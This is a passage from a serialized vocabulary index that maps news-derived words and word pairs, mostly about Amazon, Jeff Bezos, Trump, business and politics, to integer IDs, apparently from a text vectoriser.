6510,\n  \"review damsel\": 6511,\n  \"won pay\": 6512,\n  \"centers amazon\": 6513,\n  \"strategic engagements\": 6514,\n  \"mary katharine\": 6515,\n  \"markle attend\": 6516,\n  \"jr ceo\": 6517,\n  \"doubleday canada\": 6518,\n  \"kindle ebook\": 6519,\n  \"mother childhood\": 6520,\n  \"5e1040253796293795842\": 6521,\n  \"recent divorc\\u00e9e\": 6522,\n  \"continued ignoring\": 6523,\n  \"conservative opinion\": 6524,\n  \"unpleasant\": 6525,\n  \"roosevelt room\": 6526,\n  \"called prosperity\": 6527,\n  \"international wave\": 6528,\n  \"vehicle scarborough\": 6529,\n  \"minneapolis road\": 6530,\n  \"economic forecasts\": 6531,\n  \"importing foreign\": 6532,\n  \"ami allegedly\": 6533,\n  \"retailer fell\": 6534,\n  \"job finally\": 6535,\n  \"tested\": 6536,\n  \"style socialism\": 6537,\n  \"futures\": 6538,\n  \"syrian civil\": 6539,\n  \"biggest job\": 6540,\n  \"state legislature\": 6541,\n  \"report source\": 6542,\n  \"marketplace facebook\": 6543,\n  \"civil mean\": 6544,\n  \"activity considering\": 6545,\n  \"lane kudlow\": 6546,\n  \"alibaba cainiao\": 6547,\n  \"mueller hbo\": 6548,\n  \"justice wears\": 6549,\n  \"closely according\": 6550,\n  \"updates\": 6551,\n  \"wallbank\": 6552,\n  \"eliminates\": 6553,\n  \"sabotaged tech\": 6554,\n  \"wikileaks plans\": 6555,\n  \"kepnes novel\": 6556,\n  \"labeling\": 6557,\n  \"respected corporations\": 6558,\n  \"hasn paid\": 6559,\n  \"adjusted profit\": 6560,\n  \"rightwing troll\": 6561,\n  \"times lynn\": 6562,\n  \"pursue career\": 6563,\n  \"rep marcia\": 6564,\n  \"manage sensitive\": 6565,\n  \"completey\": 6566,\n  \"stanford graduate\": 6567,\n  \"actual president\": 6568,\n  \"accused becker\": 6569,\n  \"522\": 6570,\n  \"concluding\": 6571,\n  \"or\\u00e9al\": 6572,\n  \"riccio vp\": 6573,\n  \"safety limits\": 6574,\n  \"protections cnn\": 6575,\n  \"capital gaines\": 6576,\n  \"amazon defensive\": 6577,\n  \"deepened\": 6578,\n  \"enforce restraining\": 6579,\n  \"favorable\": 6580,\n  \"politicians duked\": 6581,\n  \"schuster scribner\": 6582,\n  \"production deforestation\": 6583,\n  \"departmentof justice\": 6584,\n  \"showbiz strangeness\": 6585,\n  \"false var\": 6586,\n  \"trump greatest\": 6587,\n  \"critics arguing\": 6588,\n  \"updated unlike\": 6589,\n  \"shane ormond\": 6590,\n  \"past embedded\": 6591,\n  \"cautious james\": 6592,\n  \"shorten\": 6593,\n  \"party vile\": 6594,\n  \"simotas explained\": 6595,\n  \"bethesda md\": 6596,\n  \"families sen\": 6597,\n  \"communities americans\": 6598,\n  \"consult politico\": 6599,\n  \"oks\": 6600,\n  \"artificially\": 6601,\n  \"4166\": 6602,\n  \"david sold\": 6603,\n  \"attendees held\": 6604,\n  \"learn new\": 6605,\n  \"early don\": 6606,\n  \"allwood\": 6607,\n  \"work matters\": 6608,\n  \"affair ami\": 6609,\n  \"say brian\": 6610,\n  \"leggett\": 6611,\n  \"bezos split\": 6612,\n  \"mobilepinnedview\": 6613,\n  \"putting rope\": 6614,\n  \"paths\": 6615,\n  \"cages sickens\": 6616,\n  \"queens housewife\": 6617,\n  \"today means\": 6618,\n  \"hinesburg\": 6619,\n  \"office read\": 6620,\n  \"week amazed\": 6621,\n  \"frankie\": 6622,\n  \"papadopoulos lied\": 6623,\n  \"second irish\": 6624,\n  \"plaintiffs include\": 6625,\n  \"ready backup\": 6626,\n  \"potential union\": 6627,\n  \"novelty item\": 6628,\n  \"economy controlled\": 6629,\n  \"spirit turn\": 6630,\n  \"papazian\": 6631,\n  \"mlyn cnbc\": 6632,\n  \"passover read\": 6633,\n  \"comment ahead\": 6634,\n  \"farr president\": 6635,\n  \"actions pen\": 6636,\n  \"trump white\": 6637,\n  \"dee\": 6638,\n  \"forma earnings\": 6639,\n  \"revenue weaknesses\": 6640,\n  \"bold rep\": 6641,\n  \"lucrecia martel\": 6642,\n  \"madison calls\": 6643,\n  \"1539177096 sr\": 6644,\n  \"companies try\": 6645,\n  \"power base\": 6646,\n  \"say gi\": 6647,\n  \"local stores\": 6648,\n  \"deputy director\": 6649,\n  \"sells pre\": 6650,\n  \"enterprise group\": 6651,\n  \"photo jacquelyn\": 6652,\n  \"mta does\": 6653,\n  \"amazon descended\": 6654,\n  \"easy access\": 6655,\n  \"currently process\": 6656,\n  \"shooting survivor\": 6657,\n  \"public sentiment\": 6658,\n  \"report tomorrow\": 6659,\n  \"stop halfway\": 6660,\n  \"form ummm\": 6661,\n  \"welcome antidote\": 6662,\n  \"fuel vicious\": 6663,\n  \"commercial strip\": 6664,\n  \"previously trump\": 6665,\n  \"appraise\": 6666,\n  \"buy fake\": 6667,\n  \"indiewire newsletter\": 6668,\n  \"evening overnight\": 6669,\n  \"thriller velvet\": 6670,\n  \"earth oxygen\": 6671,\n  \"soundly rejected\": 6672,\n  \"champion jonathan\": 6673,\n  \"initial reactions\": 6674,\n  \"favorite horror\": 6675,\n  \"cannes whitney\": 6676,\n  \"baldwin says\": 6677,\n  \"proof business\": 6678,\n  \"nasty vicious\": 6679,\n  \"depart\": 6680,\n  \"tax discounts\": 6681,\n  \"challenges ban\": 6682,\n  \"livelihood\": 6683,\n  \"biden earnings\": 6684,\n  \"cities scramble\": 6685,\n  \"monthslong\": 6686,\n  \"officer sure\": 6687,\n  \"companies offer\": 6688,\n  \"retail\": 6689,\n  \"strip\": 6690,\n  \"permanent\": 6691,\n  \"stock slammed\": 6692,\n  \"gerry\": 6693,\n  \"make deal\": 6694,\n  \"quotes mesothelioma\": 6695,\n  \"churn rate\": 6696,\n  \"aseem\": 6697,\n  \"pursuing clients\": 6698,\n  \"traction mckinsey\": 6699,\n  \"time song\": 6700,\n  \"431\": 6701,\n  \"complaint filed\": 6702,\n  \"reported 579\": 6703,\n  \"1007\": 6704,\n  \"worldwide delivery\": 6705,\n  \"director better\": 6706,\n  \"proposes\": 6707,\n  \"positive minus\": 6708,\n  \"san salvador\": 6709,\n  \"sanders claim\": 6710,\n  \"clearly ignoring\": 6711,\n  \"product hijackers\": 6712,\n  \"fervor\": 6713,\n  \"cfpb created\": 6714,\n  \"private consumption\": 6715,\n  \"waged year\": 6716,\n  \"highs exceeding\": 6717,\n  \"emergency unless\": 6718,\n  \"tabs change\": 6719,\n  \"rich men\": 6720,\n  \"twitter posts\": 6721,\n  \"act president\": 6722,\n  \"reuters related\": 6723,\n  \"sketch\": 6724,\n  \"facebooks plunge\": 6725,\n  \"lee mike\": 6726,\n  \"outcry surrounding\": 6727,\n  \"real food\": 6728,\n  \"time new\": 6729,\n  \"brooklyn army\": 6730,\n  \"liability holds\": 6731,\n  \"job growth\": 6732,\n  \"democratic right\": 6733,\n  \"powerful earthquake\": 6734,\n  \"bezos reputation\": 6735,\n  \"kindness day\": 6736,\n  \"fledged\": 6737,\n  \"symbol expressed\": 6738,\n  \"kerlinger\": 6739,\n  \"videx embedbutton\": 6740,\n  \"water proof\": 6741,\n  \"ctr\": 6742,\n  \"cbs4 forecast\": 6743,\n  \"trump sheds\": 6744,\n  \"better deal\": 6745,\n  \"keeping congress\": 6746,\n  \"just clarify\": 6747,\n  \"gap bing\": 6748,\n  \"dol applicable\": 6749,\n  \"boost pay\": 6750,\n  \"federal case\": 6751,\n  \"don jeff\": 6752,\n  \"maker finally\": 6753,\n  \"stepped away\": 6754,\n  \"forgiven\": 6755,\n  \"philip duffy\": 6756,\n  \"line necessity\": 6757,\n  \"assured consistent\": 6758,\n  \"production company\": 6759,\n  \"trump presence\": 6760,\n  \"000 monitor\": 6761,\n  \"world sign\": 6762,\n  \"sanchez hollywood\": 6763,\n  \"saudi allegation\": 6764,\n  \"just tell\": 6765,\n  \"robertson wonders\": 6766,\n  \"report according\": 6767,\n  \"agency suggest\": 6768,\n  \"asher amazon\": 6769,\n  \"example bezos\": 6770,\n  \"involved defrauding\": 6771,\n  \"affairs editor\": 6772,\n  \"victoria derbyshire\": 6773,\n  \"premise adapted\": 6774,\n  \"retch\": 6775,\n  \"rodrigues member\": 6776,\n  \"nyt jennifer\": 6777,\n  \"rashida tlaib\": 6778,\n  \"site sources\": 6779,\n  \"tax tweet\": 6780,\n  \"reiterated buy\": 6781,\n  \"upcoming ipo\": 6782,\n  \"left wondering\": 6783,\n  \"publish details\": 6784,\n  \"teaches readers\": 6785,\n  \"trademark world\": 6786,\n  \"later amazon\": 6787,\n  \"office recently\": 6788,\n  \"coverage reports\": 6789,\n  \"unprovoked\": 6790,\n  \"growth levels\": 6791,\n  \"house economic\": 6792,\n  \"2016 race\": 6793,\n  \"tower aesthetic\": 6794,\n  \"defense project\": 6795,\n  \"canopy\": 6796,\n  \"breakfast octopus\": 6797,\n  \"leg south\": 6798,\n  \"oriented\": 6799,\n  \"contributes\": 6800,\n  \"aforementioned securitie\": 6801,\n  \"clark stated\": 6802,\n  \"market reaction\": 6803,\n  \"turnonflashmessaging false\": 6804,\n  \"snot saying\": 6805,\n  \"lips immediately\": 6806,\n  \"rigado validar\": 6807,\n  \"chat conversation\": 6808,\n  \"thesestories\": 6809,\n  \"notice richard\": 6810,\n  \"fascinating\": 6811,\n  \"publishing trove\": 6812,\n  \"opioid specific\": 6813,\n  \"gobbled\": 6814,\n  \"mean softer\": 6815,\n  \"offerings amazon\": 6816,\n  \"internet related\": 6817,\n  \"enforced directly\": 6818,\n  \"garbage hope\": 6819,\n  \"ms trump\": 6820,\n  \"model production\": 6821,\n  \"trade dustup\": 6822,\n  \"blames bezos\": 6823,\n  \"bowl pregame\": 6824,\n  \"metres\": 6825,\n  \"called specialty\": 6826,\n  \"pensions investments\": 6827,\n  \"proper\": 6828,\n  \"hannah storm\": 6829,\n  \"took ownership\": 6830,\n  \"foil\": 6831,\n  \"companies bid\": 6832,\n  \"draws\": 6833,\n  \"country think\": 6834,\n  \"effect nov\": 6835,\n  \"cassettes russian\": 6836,\n  \"dorning breaking\": 6837,\n  \"particularly president\": 6838,\n  \"final agreement\": 6839,\n  \"sent yields\": 6840,\n  \"city best\": 6841,\n  \"chen mcternan\": 6842,\n  \"krikorian markskrikorian\": 6843,\n  \"veritable\": 6844,\n  \"bermuda luxembourg\": 6845,\n  \"close actor\": 6846,\n  \"correct best\": 6847,\n  \"sale baseball\": 6848,\n  \"joe depaolo\": 6849,\n  \"results speak\": 6850,\n  \"cigna recently\": 6851,\n  \"clients issued\": 6852,\n  \"advertisement companies\": 6853,\n  \"steadiest fastest\": 6854,\n  \"chairman cfo\": 6855,\n  \"air crash\": 6856,\n  \"saying disingenuously\": 6857,\n  \"incumbent democratic\": 6858,\n  \"repeatedly rant\": 6859,\n  \"employee complaints\": 6860,\n  \"nrc en\": 6861,\n  \"major city\": 6862,\n  \"filing read\": 6863,\n  \"offerings cheddar\": 6864,\n  \"107 000\": 6865,\n  \"brutal takedown\": 6866,\n  \"latvia\": 6867,\n  \"photos italy\": 6868,\n  \"dakota johnson\": 6869,\n  \"hart\": 6870,\n  \"joseph lentol\": 6871,\n  \"recently coined\": 6872,\n  \"promotional brochure\": 6873,\n  \"hold water\": 6874,\n  \"zuckerberg likes\": 6875,\n  \"warns amazon\": 6876,\n  \"biotechnology\": 6877,\n  \"swallowing islands\": 6878,\n  \"protest police\": 6879,\n  \"mentioned include\": 6880,\n  \"accessory need\": 6881,\n  \"cnn statement\": 6882,\n  \"remaining risk\": 6883,\n  \"week finally\": 6884,\n  \"britain political\": 6885,\n  \"multiple articles\": 6886,\n  \"turkish council\": 6887,\n  \"increases 2018\": 6888,\n  \"business approaches\": 6889,\n  \"grocery shopping\": 6890,\n  \"subscription growth\": 6891,\n  \"lane\": 6892,\n  \"soon thousands\": 6893,\n  \"worldwide search\": 6894,\n  \"student placements\": 6895,\n  \"answering question\": 6896,\n  \"restrain\": 6897,\n  \"backed legislation\": 6898,\n  \"stefano\": 6899,\n  \"closing corporate\": 6900,\n  \"incorporates really\": 6901,\n  \"rich table\": 6902,\n  \"bowing\": 6903,\n  \"person microsoft\": 6904,\n  \"term projects\": 6905,\n  \"patients iot\": 6906,\n  \"nutjob\": 6907,\n  \"know conway\": 6908,\n  \"xilinx\": 6909,\n  \"trump established\": 6910,\n  \"true interference\": 6911,\n  \"florida capital\": 6912,\n  \"benefit local\": 6913,\n  \"dialogue starting\": 6914,\n  \"years today\": 6915,\n  \"korea japan\": 6916,\n  \"setting apart\": 6917,\n  \"twinkle\": 6918,\n  \"liberal publisher\": 6919,\n  \"us3 pictures\": 6920,\n  \"choi\": 6921,\n  \"volcanoes 2018\": 6922,\n  \"policies responded\": 6923,\n  \"orange\": 6924,\n  \"cuomo added\": 6925,\n  \"souza\": 6926,\n  \"leaking intimate\": 6927,\n  \"scale detailed\": 6928,\n  \"cowley\": 6929,\n  \"flocking\": 6930,\n  \"spoken 2018\": 6931,\n  \"middle aged\": 6932,\n  \"local affiliates\": 6933,\n  \"garofalo pat\": 6934,\n  \"plays audio\": 6935,\n  \"services hosted\": 6936,\n  \"barnett\": 6937,\n  \"key investments\": 6938,\n  \"usual thoughtful\": 6939,\n  \"practice damon\": 6940,\n  \"ring founder\": 6941,\n  \"finance wall\": 6942,\n  \"right gayle\": 6943,\n  \"alexandria virginia\": 6944,\n  \"law flatly\": 6945,\n  \"corporate megalith\": 6946,\n  \"tax justice\": 6947,\n  \"flailing helplessly\": 6948,\n  \"piegza stifel\": 6949,\n  \"somewhat inexplicably\": 6950,\n  \"limousines helicopter\": 6951,\n  \"needn worry\": 6952,\n  \"fallacy\": 6953,\n  \"day took\": 6954,\n  \"witch witchfinder\": 6955,\n  \"frequently critical\": 6956,\n  \"approve\": 6957,\n  \"vought acting\": 6958,\n  \"latest big\": 6959,\n  \"argue fair\": 6960,\n  \"imagine trump\": 6961,\n  \"courts cody\": 6962,\n  \"heavily democratic\": 6963,\n  \"article referenced\": 6964,\n  \"potentially tricky\": 6965,\n  \"europe photo\": 6966,\n  \"left loves\": 6967,\n  \"shown courage\": 6968,\n  \"worth\": 6969,\n  \"debunk trump\": 6970,\n  \"trump iconimageurl\": 6971,\n  \"netherlands say\": 6972,\n  \"candidates led\": 6973,\n  \"sleazy behavior\": 6974,\n  \"fridge\": 6975,\n  \"spokesman glenn\": 6976,\n  \"festive\": 6977,\n  \"steadily encroaches\": 6978,\n  \"antagonistic relationship\": 6979,\n  \"brand perception\": 6980,\n  \"lippman dlippman\": 6981,\n  \"skorea slave\": 6982,\n  \"man laughed\": 6983,\n  \"amazon revolt\": 6984,\n  \"simon termed\": 6985,\n  \"indigenous communities\": 6986,\n  \"young liberal\": 6987,\n  \"maintaining sphinx\": 6988,\n  \"159 billion\": 6989,\n  \"people linked\": 6990,\n  \"planned sites\": 6991,\n  \"dynamic delivery\": 6992,\n  \"john constantine\": 6993,\n  \"meeks details\": 6994,\n  \"dolezal accused\": 6995,\n  \"plan drafted\": 6996,\n  \"just social\": 6997,\n  \"suggests range\": 6998,\n  \"github pushing\": 6999,\n  \"regular updates\": 7000,\n  \"ward nbc\": 7001,\n  \"major infrastructure\": 7002,\n  \"shocked cooper\": 7003,\n  \"easily beat\": 7004,\n  \"abuse victims\": 7005,\n  \"mega mansion\": 7006,\n  \"remained bullish\": 7007,\n  \"government guarantee\": 7008,\n  \"anheuser\": 7009,\n  \"jr daviddtss\": 7010,\n  \"fox patent\": 7011,\n  \"myrtlebound18\": 7012,\n  \"game series\": 7013,\n  \"daf5yvweds\": 7014,\n  \"little contact\": 7015,\n  \"hidespinner function\": 7016,\n  \"lengthy island\": 7017,\n  \"sibling\": 7018,\n  \"desert storm\": 7019,\n  \"skid rubbersole\": 7020,\n  \"just away\": 7021,\n  \"journalnow\": 7022,\n  \"potential divestment\": 7023,\n  \"127 increase\": 7024,\n  \"does turn\": 7025,\n  \"introducing\": 7026,\n  \"bennett\": 7027,\n  \"chinese entities\": 7028,\n  \"disaster amazon\": 7029,\n  \"korea amazon\": 7030,\n  \"pirro\": 7031,\n  \"jon stewart\": 7032,\n  \"uber freight\": 7033,\n  \"tell better\": 7034,\n  \"business accounted\": 7035,\n  \"big pool\": 7036,\n  \"draw color\": 7037,\n  \"taking cut\": 7038,\n  \"included hointer\": 7039,\n  \"c0 s9x\": 7040,\n  \"scale advantages\": 7041,\n  \"wait little\": 7042,\n  \"meaning\": 7043,\n  \"grossly underpaid\": 7044,\n  \"amazon accusing\": 7045,\n  \"collective threatens\": 7046,\n  \"kid shooting\": 7047,\n  \"0h0zpr0g37\": 7048,\n  \"contract deap\": 7049,\n  \"downbeat forecast\": 7050,\n  \"kelley blue\": 7051,\n  \"pilot rex\": 7052,\n  \"wayfair earnings\": 7053,\n  \"sanders calls\": 7054,\n  \"shipping parts\": 7055,\n  \"society develops\": 7056,\n  \"cnn perception\": 7057,\n  \"competitive khan\": 7058,\n  \"breakouts stock\": 7059,\n  \"copy torel\": 7060,\n  \"3792223\": 7061,\n  \"state association\": 7062,\n  \"desoto county\": 7063,\n  \"dave green\": 7064,\n  \"brother large\": 7065,\n  \"uk called\": 7066,\n  \"short songs\": 7067,\n  \"chicago ap\": 7068,\n  \"sells wine\": 7069,\n  \"great universities\": 7070,\n  \"probe saying\": 7071,\n  \"stoughton\": 7072,\n  \"sanchez television\": 7073,\n  \"griffeth yes\": 7074,\n  \"viscous white\": 7075,\n  \"cargo freighter\": 7076,\n  \"enquirer firm\": 7077,\n  \"sole victor\": 7078,\n  \"american holiday\": 7079,\n  \"seattle headquarters\": 7080,\n  \"hit snag\": 7081,\n  \"including evening\": 7082,\n  \"taken swipe\": 7083,\n  \"active service\": 7084,\n  \"book pushing\": 7085,\n  \"state legislator\": 7086,\n  \"tell vermont\": 7087,\n  \"years frameworks\": 7088,\n  \"tough target\": 7089,\n  \"trump wrath\": 7090,\n  \"example amazon\": 7091,\n  \"desk news\": 7092,\n  \"woman claims\": 7093,\n  \"trading opened\": 7094,\n  \"phyllis\": 7095,\n  \"regulating amazon\": 7096,\n  \"tom perez\": 7097,\n  \"recommend recommend\": 7098,\n  \"labaki naturalism\": 7099,\n  \"does involve\": 7100,\n  \"347 shares\": 7101,\n  \"incentivized reviews\": 7102,\n  \"gates falls\": 7103,\n  \"hias human\": 7104,\n  \"dissolve\": 7105,\n  \"reportedly compiling\": 7106,\n  \"company presstv\": 7107,\n  \"surpassed\": 7108,\n  \"inhales co2\": 7109,\n  \"presidential hopeful\": 7110,\n  \"influx\": 7111,\n  \"lose loved\": 7112,\n  \"administration osha\": 7113,\n  \"way wsj\": 7114,\n  \"amazon rivals\": 7115,\n  \"contaminated materials\": 7116,\n  \"weak results\": 7117,\n  \"highly available\": 7118,\n  \"troy\": 7119,\n  \"broader coalition\": 7120,\n  \"large carrier\": 7121,\n  \"candidate mitt\": 7122,\n  \"gala afterward\": 7123,\n  \"platform medium\": 7124,\n  \"anchor praised\": 7125,\n  \"rutger reviewed\": 7126,\n  \"hurt\": 7127,\n  \"attractive entry\": 7128,\n  \"capital corp\": 7129,\n  \"organization explained\": 7130,\n  \"metoo economic\": 7131,\n  \"editorial really\": 7132,\n  \"new argument\": 7133,\n  \"haters\": 7134,\n  \"menu items\": 7135,\n  \"business germany\": 7136,\n  \"president does\": 7137,\n  \"christmas expect\": 7138,\n  \"instantly available\": 7139,\n  \"mugabo talk\": 7140,\n  \"uk intellectual\": 7141,\n  \"hannity today\": 7142,\n  \"constant harangue\": 7143,\n  \"posted story\": 7144,\n  \"coalition funded\": 7145,\n  \"direct just\": 7146,\n  \"deaths occurring\": 7147,\n  \"think cantankerous\": 7148,\n  \"words britain\": 7149,\n  \"publication backed\": 7150,\n  \"offering tours\": 7151,\n  \"problem\": 7152,\n  \"willem\": 7153,\n  \"minor toll\": 7154,\n  \"fang stock\": 7155,\n  \"2016 customers\": 7156,\n  \"stepdaughter dylan\": 7157,\n  \"jobs newark\": 7158,\n  \"planning holiday\": 7159,\n  \"hololens\": 7160,\n  \"trump far\": 7161,\n  \"effectively using\": 7162,\n  \"families thanks\": 7163,\n  \"unfolding\": 7164,\n  \"continue making\": 7165,\n  \"delay failure\": 7166,\n  \"o1a d1a\": 7167,\n  \"help families\": 7168,\n  \"hemorrhaging money\": 7169,\n  \"dim\": 7170,\n  \"survey center\": 7171,\n  \"cached\": 7172,\n  \"officialmpv\": 7173,\n  \"agorist\": 7174,\n  \"analytica scandal\": 7175,\n  \"wide influence\": 7176,\n  \"bargain\": 7177,\n  \"globe warehouse\": 7178,\n  \"publix parking\": 7179,\n  \"skeletons\": 7180,\n  \"missing analysts\": 7181,\n  \"sending refunds\": 7182,\n  \"s8i g0\": 7183,\n  \"onward government\": 7184,\n  \"ai technology\": 7185,\n  \"streamlined automation\": 7186,\n  \"cars vandalized\": 7187,\n  \"amageddon following\": 7188,\n  \"trumps agreed\": 7189,\n  \"rogoff harvard\": 7190,\n  \"raw audio\": 7191,\n  \"unknown\": 7192,\n  \"picture\": 7193,\n  \"abroad profiteering\": 7194,\n  \"management amazon\": 7195,\n  \"company articles\": 7196,\n  \"tirade warning\": 7197,\n  \"hand used\": 7198,\n  \"anti social\": 7199,\n  \"good vibes\": 7200,\n  \"andhe\": 7201,\n  \"science program\": 7202,\n  \"global citizen\": 7203,\n  \"strongly backed\": 7204,\n  \"city sprawling\": 7205,\n  \"unprovable\": 7206,\n  \"noted trump\": 7207,\n  \"photo postmaster\": 7208,\n  \"unclaimed\": 7209,\n  \"delivery solution\": 7210,\n  \"days saying\": 7211,\n  \"simply abandoned\": 7212,\n  \"week icann\": 7213,\n  \"states bankruptcy\": 7214,\n  \"roy harvey\": 7215,\n  \"wgbh\": 7216,\n  \"recording industry\": 7217,\n  \"extraordinarily attractive\": 7218,\n  \"seattle tax\": 7219,\n  \"ads info\": 7220,\n  \"purchase copy\": 7221,\n  \"international political\": 7222,\n  \"food workers\": 7223,\n  \"soon hold\": 7224,\n  \"apt\": 7225,\n  \"empirical\": 7226,\n  \"study data\": 7227,\n  \"series revolves\": 7228,\n  \"add business\": 7229,\n  \"factor\": 7230,\n  \"category storm\": 7231,\n  \"referrals\": 7232,\n  \"504\": 7233,\n  \"merit based\": 7234,\n  \"internal database\": 7235,\n  \"committee subpoenaed\": 7236,\n  \"world class\": 7237,\n  \"great victory\": 7238,\n  \"incredibly valuable\": 7239,\n  \"shamed\": 7240,\n  \"fedex fulfillment\": 7241,\n  \"business recap\": 7242,\n  \"jaspers byline\": 7243,\n  \"talks tough\": 7244,\n  \"voters fund\": 7245,\n  \"sandmann\": 7246,\n  \"demand response\": 7247,\n  \"divorce meant\": 7248,\n  \"privacy settings\": 7249,\n  \"post version\": 7250,\n  \"demographics digital\": 7251,\n  \"iphone sales\": 7252,\n  \"mid terms\": 7253,\n  \"taking cover\": 7254,\n  \"rapes president\": 7255,\n  \"fed positive\": 7256,\n  \"similar tax\": 7257,\n  \"structural changes\": 7258,\n  \"articles worth\": 7259,\n  \"florida atlantic\": 7260,\n  \"actually requires\": 7261,\n  \"packages day\": 7262,\n  \"safety group\": 7263,\n  \"indifference\": 7264,\n  \"benefits adding\": 7265,\n  \"security adviser\": 7266,\n  \"cites stronger\": 7267,\n  \"burst\": 7268,\n  \"kelly allegations\": 7269,\n  \"bradshaw\": 7270,\n  \"director tom\": 7271,\n  \"america members\": 7272,\n  \"demonstrators held\": 7273,\n  \"assesses competition\": 7274,\n  \"potential sites\": 7275,\n  \"headwind\": 7276,\n  \"called frozen\": 7277,\n  \"choi cnn\": 7278,\n  \"asleep\": 7279,\n  \"nationaldonutday\": 7280,\n  \"digital ads\": 7281,\n  \"frame regardless\": 7282,\n  \"consensus building\": 7283,\n  \"story bond\": 7284,\n  \"pay maxsa\": 7285,\n  \"rekogntion\": 7286,\n  \"company ramps\": 7287,\n  \"prosecutors admitted\": 7288,\n  \"sanchez smoking\": 7289,\n  \"product ads\": 7290,\n  \"uncertainty\": 7291,\n  \"tax shelter\": 7292,\n  \"certified commercial\": 7293,\n  \"edge consulting\": 7294,\n  \"telecom panel\": 7295,\n  \"lyin\": 7296,\n  \"major corporation\": 7297,\n  \"republican agenda\": 7298,\n  \"sliding remember\": 7299,\n  \"murderous illegals\": 7300,\n  \"biggest concern\": 7301,\n  \"industrial production\": 7302,\n  \"shying away\": 7303,\n  \"included tests\": 7304,\n  \"holmgren says\": 7305,\n  \"elizabeth holmes\": 7306,\n  \"strong buy\": 7307,\n  \"reach jessie\": 7308,\n  \"american students\": 7309,\n  \"competence\": 7310,\n  \"noted\": 7311,\n  \"scrutiny amid\": 7312,\n  \"software trademarks\": 7313,\n  \"sen maria\": 7314,\n  \"house sends\": 7315,\n  \"fine line\": 7316,\n  \"powerball drawing\": 7317,\n  \"lebanon\": 7318,\n  \"new distribution\": 7319,\n  \"record meeting\": 7320,\n  \"boss jim\": 7321,\n  \"eyed reuters\": 7322,\n  \"desktoplogo null\": 7323,\n  \"weaponry decisions\": 7324,\n  \"1920s\": 7325,\n  \"tabatabai\": 7326,\n  \"office commerce\": 7327,\n  \"mayor complicated\": 7328,\n  \"added corporate\": 7329,\n  \"amazon history\": 7330,\n  \"trump unexpectedly\": 7331,\n  \"feral detective\": 7332,\n  \"book rollout\": 7333,\n  \"boggling trump\": 7334,\n  \"usps compared\": 7335,\n  \"h5\": 7336,\n  \"large\": 7337,\n  \"financial incentives\": 7338,\n  \"purdy carrie\": 7339,\n  \"hygiene needs\": 7340,\n  \"2017tony fernandes\": 7341,\n  \"thanks jaspers\": 7342,\n  \"rod status\": 7343,\n  \"broadcom proposed\": 7344,\n  \"commercial flight\": 7345,\n  \"uninspiring\": 7346,\n  \"called attention\": 7347,\n  \"weapons related\": 7348,\n  \"nearby staten\": 7349,\n  \"bribe offers\": 7350,\n  \"practices impacted\": 7351,\n  \"emailed woman\": 7352,\n  \"breaks cut\": 7353,\n  \"country 2018\": 7354,\n  \"tdy1rrxyabos6nze r4ee\": 7355,\n  \"immigrants carell\": 7356,\n  \"reporters tracked\": 7357,\n  \"scandals according\": 7358,\n  \"party organization\": 7359,\n  \"lives male\": 7360,\n  \"emarkter senior\": 7361,\n  \"state development\": 7362,\n  \"bonnie\": 7363,\n  \"doesn tweet\": 7364,\n  \"transport packages\": 7365,\n  \"just cost\": 7366,\n  \"k1a r4ee\": 7367,\n  \"immense corporations\": 7368,\n  \"space cowboy\": 7369,\n  \"virginia farm\": 7370,\n  \"company 2010\": 7371,\n  \"tucson ariz\": 7372,\n  \"dec understandably\": 7373,\n  \"historic home\": 7374,\n  \"videotape phil\": 7375,\n  \"suggested assassinating\": 7376,\n  \"entities\": 7377,\n  \"monopo jefferies\": 7378,\n  \"dc paul\": 7379,\n  \"just offer\": 7380,\n  \"today trump\": 7381,\n  \"amazon extensive\": 7382,\n  \"rj\": 7383,\n  \"sixth biggest\": 7384,\n  \"worldwide legendary\": 7385,\n  \"called racist\": 7386,\n  \"2017jeff bezos\": 7387,\n  \"economic recovery\": 7388,\n  \"robbers picked\": 7389,\n  \"points higher\": 7390,\n  \"hours reduced\": 7391,\n  \"tonight parody\": 7392,\n  \"workers relative\": 7393,\n  \"nyse announced\": 7394,\n  \"hawes\": 7395,\n  \"sports perfect\": 7396,\n  \"inds\": 7397,\n  \"tax withholdings\": 7398,\n  \"hoenig pointed\": 7399,\n  \"dilution\": 7400,\n  \"fours\": 7401,\n  \"hacked lauren\": 7402,\n  \"underscoring members\": 7403,\n  \"coordinate strategic\": 7404,\n  \"captures\": 7405,\n  \"mile delivery\": 7406,\n  \"56966 o1a\": 7407,\n  \"started paying\": 7408,\n  \"teenagers\": 7409,\n  \"denial moment\": 7410,\n  \"housing crisis\": 7411,\n  \"younger people\": 7412,\n  \"aforementioned headline\": 7413,\n  \"tmz\": 7414,\n  \"include opening\": 7415,\n  \"specifically looking\": 7416,\n  \"years ran\": 7417,\n  \"anarchy\": 7418,\n  \"microsoft bids\": 7419,\n  \"global median\": 7420,\n  \"ship\": 7421,\n  \"shares synovus\": 7422,\n  \"baby clothes\": 7423,\n  \"vendors weren\": 7424,\n  \"isn dispassionate\": 7425,\n  \"elusive news\": 7426,\n  \"requires extensive\": 7427,\n  \"tech jeffbezos\": 7428,\n  \"roku built\": 7429,\n  \"portfolio statement\": 7430,\n  \"elements moore\": 7431,\n  \"prepared statement\": 7432,\n  \"satellite phone\": 7433,\n  \"energy companies\": 7434,\n  \"ellyn ill\": 7435,\n  \"david cobb\": 7436,\n  \"separately registering\": 7437,\n  \"education alternatives\": 7438,\n  \"positively institutional\": 7439,\n  \"argue\": 7440,\n  \"service members\": 7441,\n  \"casino bigwigs\": 7442,\n  \"derby fox\": 7443,\n  \"profile process\": 7444,\n  \"improperly accessed\": 7445,\n  \"accidentally\": 7446,\n  \"ryan boss\": 7447,\n  \"corn evans\": 7448,\n  \"reason want\": 7449,\n  \"sovereigns\": 7450,\n  \"workers isnt\": 7451,\n  \"shady\": 7452,\n  \"13008359 r4ee\": 7453,\n  \"salt water\": 7454,\n  \"nation social\": 7455,\n  \"freely\": 7456,\n  \"imagination\": 7457,\n  \"operated 500\": 7458,\n  \"bath water\": 7459,\n  \"innocent think\": 7460,\n  \"weibo prominent\": 7461,\n  \"samevmware control\": 7462,\n  \"clip ceo\": 7463,\n  \"guill\\u00e9n reports\": 7464,\n  \"strays\": 7465,\n  \"tremendous domestic\": 7466,\n  \"addressing issues\": 7467,\n  \"home caf\\u00e9\": 7468,\n  \"protectors\": 7469,\n  \"bribed amazon\": 7470,\n  \"predictable sites\": 7471,\n  \"drunken\": 7472,\n  \"bans\": 7473,\n  \"conservatism\": 7474,\n  \"report meaningful\": 7475,\n  \"previous snapbacks\": 7476,\n  \"bp\": 7477,\n  